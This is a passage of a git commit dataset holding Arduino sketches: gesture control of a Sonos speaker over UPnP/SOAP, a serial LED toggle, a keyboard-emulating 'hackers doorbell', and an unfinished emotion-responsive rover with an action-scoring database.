SONOS_PAUSE \"<s:Envelope xmlns:s=\\\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\\" s:encodingStyle=\\\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\\"><s:Body><u:Pause xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><\/u:Pause><\/s:Body><\/s:Envelope>\\r\\n\"\n\/\/#define SONOS_PLAY \"<s:Envelope xmlns:s=\\\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\\" s:encodingStyle=\\\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\\"><s:Body><u:Play xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><Speed>1<\/Speed><\/u:Play><\/s:Body><\/s:Envelope>\\r\\n\"\n\n#define SOAP_HEADER \"<s:Envelope xmlns:s=\\\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\\" s:encodingStyle=\\\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\\"><s:Body>\"\n#define SOAP_FOOTER \"<\/s:Body><\/s:Envelope>\\r\\n\"\n\n#define SONOS_PAUSE \"<u:Pause xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><\/u:Pause>\" \n#define SONOS_PLAY \"<u:Play xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><Speed>1<\/Speed><\/u:Play>\"\n#define SONOS_NEXT \"<u:Next xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><\/u:Next>\"\n#define SONOS_PREVIOUS \"<u:Previous xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><\/u:Previous>\"\n#define SONOS_SETVOLUME_HEADER \"<u:SetVolume xmlns:u=\\\"urn:schemas-upnp-org:service:RenderingControl:1\\\"><InstanceID>0<\/InstanceID><Channel>Master<\/Channel><DesiredVolume>\"\n#define SONOS_SETVOLUME_FOOTER \"<\/DesiredVolume><\/u:SetVolume><\/s:Body><\/s:Envelope>\"\n#define SONOS_TRANSPORT_INFO \"<u:GetPositionInfo xmlns:u=\\\"urn:schemas-upnp-org:service:AVTransport:1\\\"><InstanceID>0<\/InstanceID><\/u:GetPositionInfo>\"\n#define SONOS_GETVOLUME \"<u:GetVolume xmlns:u=\\\"urn:schemas-upnp-org:service:RenderingControl:1\\\"><InstanceID>0<\/InstanceID><Channel>Master<\/Channel><\/u:GetVolume>\"\n\n#define PAUSE 0\n#define PLAY 1\n#define NEXT 2\n#define PREVIOUS 3\n#define VOLUME 4\n#define TRANSPORTINFO 5\n#define GETVOLUME 6\n\nint ts = D3;\nint res = D2;\n\nTCPClient client;\nunsigned long timeout;\nint sonosVolume;\nchar songTitle[32];\nchar songArtist[32];\nchar songVolume[12];\n\/\/char songAlbum[32];\n\n\/\/ Enable or disable different modes. Only gestures and taps are enabled by default. \n\/\/ Set the following four options to 0x01 if you want to capture every event. Note that the Serial console will be 'spammy'. \n#define GESTUREMODE 0x01 \/\/0x00 = disable gestures, 0x01 = enable gestures\n#define TOUCHMODE 0x00 \/\/0x00 = disable touch, 0x01 = enable touch \n#define TAPMODE 0x01 \/\/0x00 = disable taps, 0x01 = enable taps, 0x02 = single taps only, 0x03 = double taps only\n#define POSITIONMODE 0x00 \/\/0x00 = disable position tracking, 0x01 = enable position tracking\n\nHover hover = Hover(ts, res, GESTUREMODE, TOUCHMODE, TAPMODE, POSITIONMODE ); \n\n\/\/ used when printing 3D position coordinates. Using a smaller interval will result in a 'spammy' console. Set to update every 150ms by default. \nlong interval = 150; \nlong previousMillis = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n delay(4000);\n Serial.print(\"Initializing Hover...please wait.\");\n hover.begin();\n}\n \nvoid loop()\n{\n \n unsigned long currentMillis = millis(); \/\/ used for updating 3D position coordinates. Set to update every 150ms by default. \n\n \/\/ Check if Hover is ready to send gesture or touch events\n hover.readI2CData();\n \n Gesture g = hover.getGesture();\n Touch t = hover.getTouch();\n Position p = hover.getPosition(); \n \n if ( g.gestureID != 0){\n if ( g.gestureValue == 0x1){\n sonos(NEXT);\n } else if ( g.gestureValue == 0x2) {\n sonos(PREVIOUS);\n } else if ( g.gestureValue == 0x3) {\n sonos(PLAY);\n } else if ( g.gestureValue == 0x4) {\n sonos(PAUSE);\n }\n \n \n Serial.print(\"Event: \"); Serial.print(g.gestureType); Serial.print(\"\\t\"); \n Serial.print(\"Gesture ID: \"); Serial.print(g.gestureID,HEX); Serial.print(\"\\t\");\n Serial.print(\"Value: \"); Serial.print(g.gestureValue,HEX); Serial.println(\"\");\n } \n \n \/*\n Serial.println(\"\");\n Serial.println(\"Enter a key\");\n while(!Serial.available()) SPARK_WLAN_Loop();\n char inChar = Serial.read();\n switch (inChar) {\n case 'a': \/\/ connection open\n Serial.println(\"sonos play\");\n sonos(PLAY);\n break;\n case 's': \/\/ connection closed\n Serial.println(\"sonos pause\");\n sonos(PAUSE);\n break;\n case 'n': \/\/ connection closed\n Serial.println(\"sonos next\");\n sonos(NEXT);\n break;\n case 'p': \/\/ connection closed\n Serial.println(\"sonos previous\");\n sonos(PREVIOUS);\n break;\n case 'v': \/\/ connection closed\n Serial.println(\"sonos volume\");\n sonos(VOLUME);\n break;\n case 'i': \/\/ connection closed\n Serial.println(\"sonos get transport info\");\n sonos(TRANSPORTINFO);\n break;\n case 'g': \/\/ connection closed\n Serial.println(\"get volume\");\n sonos(GETVOLUME);\n break;\n case 'c':\n Serial.println(\"Connecting...\");\n if (client.connect(sonosip, 1400))\n {\n Serial.println(\"Connected to Sonos\");\n }\n else\n {\n Serial.println(\"Connection failed\");\n }\n break;\n case 'x':\n client.stop();\n Serial.println(\"Disconnected\");\n break;\n case 'd':\n out(\"M-SEARCH * HTTP\/1.1\\r\\n\");\n out(\"HOST: 239.255.255.250:1900\\r\\n\");\n out(\"MAN: \\\"ssdp:discover\\\"\\r\\n\");\n out(\"MX: 2\\r\\n\");\n out(\"ST: upnp:rootdevice\\r\\n\");\n out(\"Connection:close\\r\\n\");\n\n }\n \/\/while (client.available()) {\n \/\/ char c = client.read();\n \/\/ Serial.print(c);\n \/\/}*\/\n}\n\n\n\n\nvoid out(const char *s)\n{\n client.write( (const uint8_t*)s, strlen(s) );\n Serial.println(s);\n}\n\n\n\n\nvoid sonos(int cmd)\n{\n char buf[512];\n char soapmsg[1024];\n char cmdtag[20];\n \n sonosVolume = 35;\n \n if (client.connect(sonosip, 1400)) {\n Serial.println(\"client is connected successfully\");\n\n switch (cmd) {\n case PAUSE:\n sprintf(soapmsg, \"%s%s%s\", SOAP_HEADER, SONOS_PAUSE, SOAP_FOOTER); \n strcpy(cmdtag, \"Pause\");\n break;\n case PLAY:\n sprintf(soapmsg, \"%s%s%s\", SOAP_HEADER, SONOS_PLAY, SOAP_FOOTER); \n strcpy(cmdtag, \"Play\");\n break;\n case NEXT:\n sprintf(soapmsg, \"%s%s%s\", SOAP_HEADER, SONOS_NEXT, SOAP_FOOTER); \n strcpy(cmdtag, \"Next\");\n break;\n case PREVIOUS:\n sprintf(soapmsg, \"%s%s%s\", SOAP_HEADER, SONOS_PREVIOUS, SOAP_FOOTER); \n strcpy(cmdtag, \"Previous\");\n break;\n case VOLUME:\n sprintf(soapmsg, \"%s%s%i%s\", SOAP_HEADER, SONOS_SETVOLUME_HEADER, sonosVolume, SONOS_SETVOLUME_FOOTER); \n strcpy(cmdtag, \"SetVolume\");\n break;\n case TRANSPORTINFO:\n sprintf(soapmsg, \"%s%s%s\", SOAP_HEADER, SONOS_TRANSPORT_INFO, SOAP_FOOTER); \n strcpy(cmdtag, \"GetPositionInfo\");\n break;\n case GETVOLUME:\n sprintf(soapmsg, \"%s%s%s\", SOAP_HEADER, SONOS_GETVOLUME, SOAP_FOOTER); \n strcpy(cmdtag, \"GetVolume\");\n break;\n }\n \n if (String(cmdtag) == \"SetVolume\" || String(cmdtag) == \"GetVolume\") {\n out(\"POST \/MediaRenderer\/RenderingControl\/Control HTTP\/1.1\\r\\n\");\n } else {\n out(\"POST \/MediaRenderer\/AVTransport\/Control HTTP\/1.1\\r\\n\");\n }\n\n sprintf(buf, \"Host: %d.%d.%d.%d:1400\\r\\n\", sonosip[0], sonosip[1], sonosip[2], sonosip[3]);\n out(buf);\n sprintf(buf, \"Content-Length: %d\\r\\n\", strlen(soapmsg));\n out(buf);\n out(\"Content-Type: text\/xml; charset=\\\"utf-8\\\"\\r\\n\");\n \n if (String(cmdtag) == \"SetVolume\" || String(cmdtag) == \"GetVolume\") {\n sprintf(buf, \"Soapaction: \\\"urn:schemas-upnp-org:service:RenderingControl:1#%s\\\"\\r\\n\", cmdtag);\n } else {\n sprintf(buf, \"Soapaction: \\\"urn:schemas-upnp-org:service:AVTransport:1#%s\\\"\\r\\n\", cmdtag);\n }\n out(buf);\n\n out(\"\\r\\n\");\n out(soapmsg);\n\n \n \/*wait 1s for timeout*\/\n timeout = millis();\n while ((!client.available()) && ((millis() - timeout) < 1000));\n\n\n\n int i = 0;\n char sonosResponse[3072];\n while (client.available()) {\n char c = client.read();\n Serial.print(c);\n \n if (String(cmdtag) == \"GetPositionInfo\" || String(cmdtag) == \"GetVolume\") {\n sonosResponse[i] = c;\n Serial.print(sonosResponse[i]); \/\/This line prints the entire response\n i++;\n }\n \n }\n\n if (String(cmdtag) == \"GetPositionInfo\") {\n sonosResponse[i] = '\\0';\n\n \/* Get the song title *\/\n char *p1 = strcasestr(sonosResponse,\"dc:title>\");\n char *p2 = strcasestr(sonosResponse,\"<\/dc:title\");\n\n int c = 0;\n for (p1 = p1 + 12; p1 != p2; p1++) {\n songTitle[c] = *p1;\n c++;\n }\n songTitle[c] = '\\0';\n Serial.println(songTitle);\n\n \/* Get the Artist *\/\n p1 = strcasestr(sonosResponse,\"dc:creator>\");\n p2 = strcasestr(sonosResponse,\"<\/dc:creator\");\n c = 0;\n \n for (p1 = p1 + 14; p1 != p2; p1++) {\n songArtist[c] = *p1;\n c++;\n }\n songArtist[c] = '\\0';\n Serial.println(songArtist);\n\n \/* Get the Album *\/\n \/*p1 = strcasestr(sonosResponse,\";upnp:album>\");\n p2 = strcasestr(sonosResponse,\"<\/upnp:album>\");\n c = 0;\n \n for (p1 = p1 + 15; p1 != p2; p1++) {\n songAlbum[c] = *p1;\n c++;\n }\n songAlbum[c] = '\\0';\n Serial.println(songAlbum);*\/\n\n \n } else if (String(cmdtag) == \"GetVolume\") {\n sonosResponse[i] = '\\0';\n \n char *p1 = strcasestr(sonosResponse,\"<CurrentVolume>\");\n char *p2 = strcasestr(sonosResponse,\"<\/CurrentVolume>\");\n\n int c = 0;\n for (p1 = p1 + 15; p1 != p2; p1++) {\n songVolume[c] = *p1;\n c++;\n }\n songVolume[c] = '\\0';\n Serial.println(songVolume);\n \n sscanf(songVolume, \"%d\", &sonosVolume);\n Serial.println(sonosVolume);\n \n }\n \n \/\/while (client.available()) client.read(); \n \/\/delay(100);\n client.stop();\n\n \n } else {\n Serial.println(\"Not yet connected to Sonos.\");\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HoverSonos\/HoverSonos.ino' did not match any file(s) known to git\n","license":"unknown","lang":"Arduino"} {"commit":"3e01488ccbc126eacba2b07f5ecda5673a59c208","subject":"Initial commit Arduino code","message":"Initial commit Arduino code\n","repos":"VoidingWarranties\/Myo-Home","old_file":"src\/light_on_off\/light_on_off.ino","new_file":"src\/light_on_off\/light_on_off.ino","new_contents":"int incomingByte = 0; \/\/ for incoming serial data\nint led1 = 4;\nint led2 = 5;\nboolean state1 = false;\nboolean state2 = false;\n\nvoid setup() {\n Serial.begin(9600); \/\/ opens serial port, sets data rate to 9600 bps\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n }\n\nvoid loop() {\n\n \/\/ send data only when you receive data:\n if (Serial.available() > 0) {\n \/\/ read the incoming byte:\n incomingByte = Serial.read();\n \/\/Serial.println(incomingByte);\n if (incomingByte == '1') {\n Serial.println(\"foo\");\n \n if (state1 == false) {\n state1 = true;\n } else {\n state1 = false; \n }\n digitalWrite(led1, state1);\n \n } else if (incomingByte == '2') {\n \n Serial.println(\"bar\");\n \n if (state2 == false){\n state2 = true;\n } else {\n state2 = false;\n } \n \n digitalWrite(led2, state2); \n }\n }\n \n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/light_on_off\/light_on_off.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"deb5a08b85f5dec90b5ab3fee07998897f76a850","subject":"Asservissement: caract\u00e9risationVitesseMoteur => test des 2 encodeurs","message":"Asservissement: caract\u00e9risationVitesseMoteur => test des 2 encodeurs\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a8db073bd5c36cadf9e5cc932f7b2357e9033b1","subject":"Adds Arduino Code","message":"Adds Arduino Code\n","repos":"joer14\/hackers-doorbell","old_file":"Doorbell.ino","new_file":"Doorbell.ino","new_contents":"\/* \n * Hackers Doorbell\n * Joe Rowley\n * April, 2017\n*\/\n\nvoid setup() { \n pinMode(12, INPUT);\n Keyboard.begin();\n}\n\nvoid mute() {\n Keyboard.press(KEY_MEDIA_MUTE);\n Keyboard.release(KEY_MEDIA_MUTE);\n}\n\nvoid pause() {\n Keyboard.press(KEY_MEDIA_PLAY_PAUSE);\n Keyboard.release(KEY_MEDIA_PLAY_PAUSE);\n}\n\nvoid invert() {\n Keyboard.press(KEY_LEFT_GUI); \/\/ 'Apple' Key\n Keyboard.press(KEY_LEFT_ALT); \n Keyboard.press(KEY_LEFT_CTRL);\n Keyboard.press('8');\n delay(100);\n Keyboard.releaseAll();\n}\nvoid flash(int iters) {\n for (int i=0; i<iters;i++){\n invert();\n delay(100);\n invert();\n delay(100);\n }\n}\n\nvoid loop() \n{\n if (digitalRead(12) != HIGH) {\n Serial.println(\"Button pressed!!!\");\n pause();\n mute();\n flash(3);\n mute();\n }\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Doorbell.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8835778bba782b4786c9f0e7d5222bf33a10bdb4","subject":"Write a switch\/case statement for the reccodes2ctx() to determine the emotion pairs (current context -> desired context) to return.","message":"Write a switch\/case statement for the reccodes2ctx() to determine the emotion pairs\n(current context -> desired context) to return.\n","repos":"RoboBrainz\/Thought-Reactive-Robot-Friend","old_file":"RoverMain\/RoverMain.ino","new_file":"RoverMain\/RoverMain.ino","new_contents":"#include <EDB.h>\n#include <EEPROM.h>\n#define TABLE_SIZE 1024\/\/ max size in ATMega328\n\n#include <Adafruit_NeoPixel.h> \/\/ Adafruit NeoPixel Library\n\ntypedef struct {\n\tbyte action;\n\tbyte prev_ctx; \/\/ maybe we can use the first four bits for the prev and last four for next\n\t\/\/byte desired_ctx;\n\tbyte score;\n\tbyte id;\n} ActionScore;\n\nActionScore actionScore;\n\n\/\/hrm...with this size, we have room for 253 records\n\/\/doing that mod increases it to 338 records\n\n#define MAX_RECORDS (TABLE_SIZE - sizeof(EDB_Header))\/sizeof(ActionScore)\n\n#define FROM_CTX_MASK B11110000\n#define TO_CTX_MASK B00001111\n\n#define SAD B0000\n#define MAD B0001\n#define FEARFUL B0010\n#define DISTRACTED B0011\n#define HAPPY B1111\n#define CALM B1110\n#define FOCUSED B1100\n#define UNKNOWN B0100\n\n\/\/ limit ourselves to possibly four actions for a given context pair\n#define ACTION0_MASK B1111000000000000\n#define ACTION1_MASK B0000111100000000\n#define ACTION2_MASK B0000000011110000\n#define ACTION3_MASK B0000000000001111\n\n\/\/int lookups[256];\n\/\/lookups[0b00101010] = 0b0011110111001001;\nint lookups[256]; \/\/we should probably burn this into prog memory \n\n\/\/ The read and write handlers for using the EEPROM Library\nvoid writer(unsigned long address, byte data)\n{\n\tEEPROM.write(address, data);\n}\n\nbyte reader(unsigned long address)\n{\n\treturn EEPROM.read(address);\n}\n\n\/\/ Create an EDB object with the appropriate write and read handlers\nEDB db(&writer, &reader);\n\n\/\/use this format for DB entry cache:\n\/\/records[dbctx]= [ 0011 I 1101 I 1100 I 1001 ]\n\/\/ for selecting randomly: records[dbctx] & (15 << random(4))\n\n\nActionScore epsilon_select(byte ctxpair, byte eps) {\n\t\/\/eps indicates how often we should randomly select\n\n\tbyte epsilon = (byte)random(100);\n\n\tif (epsilon < eps) {\n\t\tActionScore as;\n\t\tdb.readRec(lookups[ctxpair] & (15 << (random(4) * 4)), EDB_REC as)\n\t\treturn as;\n\t}\n\telse {\n\t\tActionScore actionScore1;\n\t\tActionScore actionScore2;\n\t\tActionScore actionScore3;\n\t\tActionScore actionScore4;\n\n\t\tActionScore maxScore;\n\n\t\tdb.readRec(records[ctxpair] & ACTION0_MASK, EDB_REC actionScore1 );\n\t\tdb.readRec(records[ctxpair] & ACTION1_MASK, EDB_REC actionScore2 );\n\t\tdb.readRec(records[ctxpair] & ACTION2_MASK, EDB_REC actionScore3 );\n\t\tdb.readRec(records[ctxpair] & ACTION3_MASK, EDB_REC actionScore4 );\n\n\t\tmaxScore = actionScore1;\n\t\tif(maxScore > actionScore2.score) {\n\t\t\tmaxScore = actionScore2;\n\t\t}\n\t\tif (maxScore > actionScore3.score) {\n\t\t\tmaxScore = actionScore3;\n\t\t}\n\t\tif (maxScore > actionScore4.score) {\n\t\t\tmaxScore = actionScore4;\n\t\t}\n\n\t\treturn maxScore;\n\t\/* for selecting w\/max (we need four placeholders in mem?): \n\t* max(db.readRec(records[dbctx] & 15, EDB_REC actionScore).\n\t db.readRec(records[dbctx] & 30, EDB_REC actionScore),\n\t db.readRec(records[dbctx] & 60, EDB_REC actionScore),\n\t db.readRec(records[dbctx] & 120, EDB_REC actionScore))\n\t*\/\n\t}\n}\n\nbyte reccodes2ctx() {\n\t\/\/we should read in the serial from here\n\t\/\/and determine the contexts we have and want to get to\n\tif (Serial.available() > 0) {\n\t\tint incomingByte = Serial.read();\n\t\t\n\t\t\/\/now that we have the byte corresponding to the current ctx,\n\t\t\/\/determine which ctx we want to trigger\n\n\t\tswitch(incomingByte) {\n\t\t\tcase SAD:\n\t\t\t\treturn (SAD << 4) | HAPPY;\n\t\t\tcase FEARFUL:\n\t\t\t\treturn (FEARFUL << 4) | CALM;\n\t\t\tcase DISTRACTED:\n\t\t\t\treturn (DISTRACTED << 4) | FOCUSED;\n\t\t\tcase MAD:\n\t\t\t\treturn (MAD << 4) | CALM;\n\t\t\tcase HAPPY:\n\t\t\t\treturn (HAPPY << 4) | HAPPY;\n\t\t\tcase FOCUSED:\n\t\t\t\treturn (FOCUSED << 4) | FOCUSED;\n\t\t\tcase CALM:\n\t\t\t\treturn (CALM << 4) | CALM;\n\t\t\tdefault:\n\t\t\t\treturn (UNKNOWN << 4) | UNKNOWN;\n\t\t}\n\t}\n\t\/\/example ctxes: happy, sad, angry, fearful, calm, focused, distracted\n\treturn (UNKNOWN | (UNKNOWN << 4));\n}\n\n\/*** Pin Layout ***\/\n\n\/\/ Motors \/\/\nint standby = 6;\n\nint speedFL = 9; \/\/ front left speed\nint in1FL = 4; \/\/ front left forward\nint in2FL = 2; \/\/ front left backward\n\nint speedFR = 10; \/\/ front right speed\nint in1FR = 7; \/\/ front right forward\nint in2FR = 8; \/\/ front right backward\n\nint speedBL = 3; \/\/ back left speed\nint in1BL = A1; \/\/ back left forward\nint in2BL = A0; \/\/ back left backward\n\nint speedBR = 5; \/\/ back right speed\nint in1BR = A2; \/\/ back right forward\nint in2BR = A3; \/\/ back right backward\n\n\/\/ LEDs \/\/\nint ledData = 12;\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(2, ledData, NEO_RGB + NEO_KHZ800);\n\nvoid setup() {\n\t\/*** Pin Setup ***\/\n\tpinMode(standby, OUTPUT);\n\n\tpinMode(speedFL, OUTPUT);\n\tpinMode(in1FL, OUTPUT);\n\tpinMode(in2FL, OUTPUT);\n\t\n\tpinMode(speedFR, OUTPUT);\n\tpinMode(in1FR, OUTPUT);\n\tpinMode(in2FR, OUTPUT);\n \n\tpinMode(speedBL, OUTPUT);\n\tpinMode(in1BL, OUTPUT);\n\tpinMode(in2BL, OUTPUT);\n\t\n\tpinMode(speedBR, OUTPUT);\n\tpinMode(in1BR, OUTPUT);\n\tpinMode(in2BR, OUTPUT);\n\n\t\/** LED Setup **\/\n\tstrip.begin();\n\tstrip.show();\n\n\t\/** Database Setup **\/\n\tSerial.begin(9600);\n\tSerial.print(\"Max DB records: \");\n\tSerial.println(MAX_RECORDS);\n\n\t\/\/check if the DB exists\n\tdb.open(0);\n\n\t\/\/if record count is 0 (I think?), populate stub DB\n\tif (db.count() == 0) {\n\t\tSerial.println(\"Creating DB\");\n\t\tdb.create(0, TABLE_SIZE, sizeof(actionScore));\n\n\n\t\tfor (int recno = 0; recno < 16; recno++) {\n\t\t\tactionScore.score = 128; \/\/ set it in the middle for +- adjustment\n\t\t\tactionScore.id = (byte) recno;\n\t\t\tactionScore.action = (byte)recno;\n\t\t\tswitch (recno) {\n\t\t\t\tcase B0000:\n\t\t\t\tcase B0011:\n\t\t\t\tcase B1000:\n\t\t\t\tcase B1100:\n\t\t\t\t\tactionScore.ctxpair = (SAD << 4) | HAPPY;\n\t\t\t\t\tbreak;\n\t\t\t\tcase B0100:\n\t\t\t\tcase B0010:\n\t\t\t\tcase B1001:\n\t\t\t\tcase B1101:\n\t\t\t\t\tactionScore.ctxpair = (FEARFUL << 4) | CALM;\n\t\t\t\t\tbreak;\n\t\t\t\tcase B0001:\n\t\t\t\tcase B0110:\n\t\t\t\tcase B1010:\n\t\t\t\tcase B1110:\n\t\t\t\t\tactionScore.ctxpair = (DISTRACTED << 4) | FOCUSED;\n\t\t\t\t\tbreak;\n\t\t\t\tcase B0101:\n\t\t\t\tcase B0111:\n\t\t\t\tcase B1011:\n\t\t\t\tcase B1111:\n\t\t\t\t\tactionScore.ctxpair = (MAD << 4) | CALM;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdb.appendRec(EDB_REC actionScore);\n\t\t}\n\n\t}\n\telse {\n\t\tSerial.println(\"Using existing DB\");\n\t}\n\n\t\/\/wait for the ready message from the mini computer?\n}\n\nvoid loop() {\n\t\/\/insert retrieving EEG return codes here\n\t\/*\n\tbyte ctxpair = reccodes2ctx();\n\n\tswitch((ctxpair & FROM_CTX_MASK) >> 4) {\n\t\tcase SAD:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase MAD:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FEARFUL:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase DISTRACTED:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase HAPPY:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase CALM:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FOCUSED:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tstrip.setPixelColor(0, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t}\n\n\tswitch(ctxpair & TO_CTX_MASK) {\n\t\tcase SAD:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase MAD:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FEARFUL:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase DISTRACTED:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase HAPPY:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase CALM:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tcase FOCUSED:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tstrip.setPixelColor(1, strip.Color(0, 0 , 0));\n\t\t\tbreak;\n\t}\n\tstrip.show();\n\n\tactionScore = epsilon_select(ctxpair, 10);\n\tswitch(actionScore.action) {\n\t\tcase 0: \/\/ Drive forward, turn around, drive back\n\t\t\twake();\n\t\t\tallForward(100);\n\t\t\tdelay(1000);\n\t\t\tbrakes();\n\t\t\tmotorize( 0, 50, 1); \/\/ UNTESTED 180 deg turn\n\t\t\tmotorize( 1, 50, 0); \/\/ UNTESTED\n\t\t\tmotorize( 2, 50, 1); \/\/ UNTESTED\n\t\t\tmotorize( 3, 50, 0); \/\/ UNTESTED\n\t\t\tdelay(1000); \/\/ PROBABLY NEED TO CHANGE DELAY\n\t\t\tbrakes();\n\t\t\tallForward(100);\n\t\t\tdelay(1000);\n\t\t\tsleep();\n\t\t\tbreak;\n\t\tcase 1: \/\/ Drive backward\n\t\t\twake();\n\t\t\tallBackward(50);\n\t\t\tdelay(2000);\n\t\t\tbrakes();\n\t\t\tsleep();\n\t\tcase 2: \/\/ Drive in a clockwise circle\n\t\t\twake();\n\t\t\tcwCircle(50);\n\t\t\tdelay(2000); \/\/ PROBABLY NEED TO CHANGE DELAY\n\t\t\tsleep();\n\t\tcase 3: \/\/ Drive in a counter-clockwise circle\n\t\t\twake();\n\t\t\tccwCircle(50);\n\t\t\tdelay(2000); \/\/ PROBABLY NEED TO CHANGE DELAY\n\t\t\tsleep();\n\t\tcase 4: \/\/ Drive in a slight squiggle for 3 seconds\n\t\t\twake();\n\t\t\tsquiggle(75, 3, 2);\n\t\t\tsleep();\n\t\tcase 5: \/\/ Drive in a larger squiggle for 3 seconds\n\t\t\twake();\n\t\t\tsquiggle(75, 3, 4);\n\t\t\tsleep();\n\t\tcase 6:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 7:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 8:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 9:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 10:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 11:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 12:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 13:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 14:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tcase 15:\n\t\t\twake();\n\t\t\t\/\/ ACTION\n\t\t\tsleep();\n\t\tdefault: \/\/ Do nothing\n\t\t\tbreak;\n\t}\n\tbyte newctxpair = reccodes2ctx();\n\tif ((newctxpair & FROM_CTX_MASK) >> 4 == ctxpair & TO_CTX_MASK) {\n\t\tactionScore.score++;\n\t} else {\n\t\tactionScore.score--;\n\t}\n\tdb.updateRec(actionScore.id, EDB_REC actionScore);\n\t*\/\n}\n\n\/*** Motor Functions ***\/\n\/\/ Moves the rover forward at given speed\nvoid allForward(int forSpeed) {\n\tmotorize( 0, forSpeed, 1);\n\tmotorize( 1, forSpeed, 1);\n\tmotorize( 2, forSpeed, 1);\n\tmotorize( 3, forSpeed, 1);\n}\n\n\/\/ Moves the rover backward at given speed\nvoid allBackward(int backSpeed) {\n\tmotorize( 0, backSpeed, 0);\n\tmotorize( 1, backSpeed, 0);\n\tmotorize( 2, backSpeed, 0);\n\tmotorize( 3, backSpeed, 0);\n}\n\n\/\/ Moves the rover in a clockwise circle at given speed\nvoid cwCircle(int circSpeed) {\n\tmotorize(0, circSpeed, 1);\n\tmotorize(1, circSpeed \/ 4, 1);\n\tmotorize(2, circSpeed, 1);\n\tmotorize(3, circSpeed \/ 4, 1);\n}\n\n\/\/ Moves the rover in a counter-clockwise circle at given speed\nvoid ccwCircle(int circSpeed) {\n\tmotorize(0, circSpeed \/ 4, 1);\n\tmotorize(1, circSpeed, 1);\n\tmotorize(2, circSpeed \/ 4, 1);\n\tmotorize(3, circSpeed, 1);\n}\n\n\/\/ Moves the rover forward in a squiggly line for a given length in seconds\n\/\/ Larger squigFactors result in more squiggly lines\nvoid squiggle(int squigSpeed, int squigTime, int squigFactor) {\n\tfor (int i = 0; i < squigTime; i += 2000) {\n\t\tmotorize(0, squigSpeed, 1);\n\t\tmotorize(1, squigSpeed \/ squigFactor, 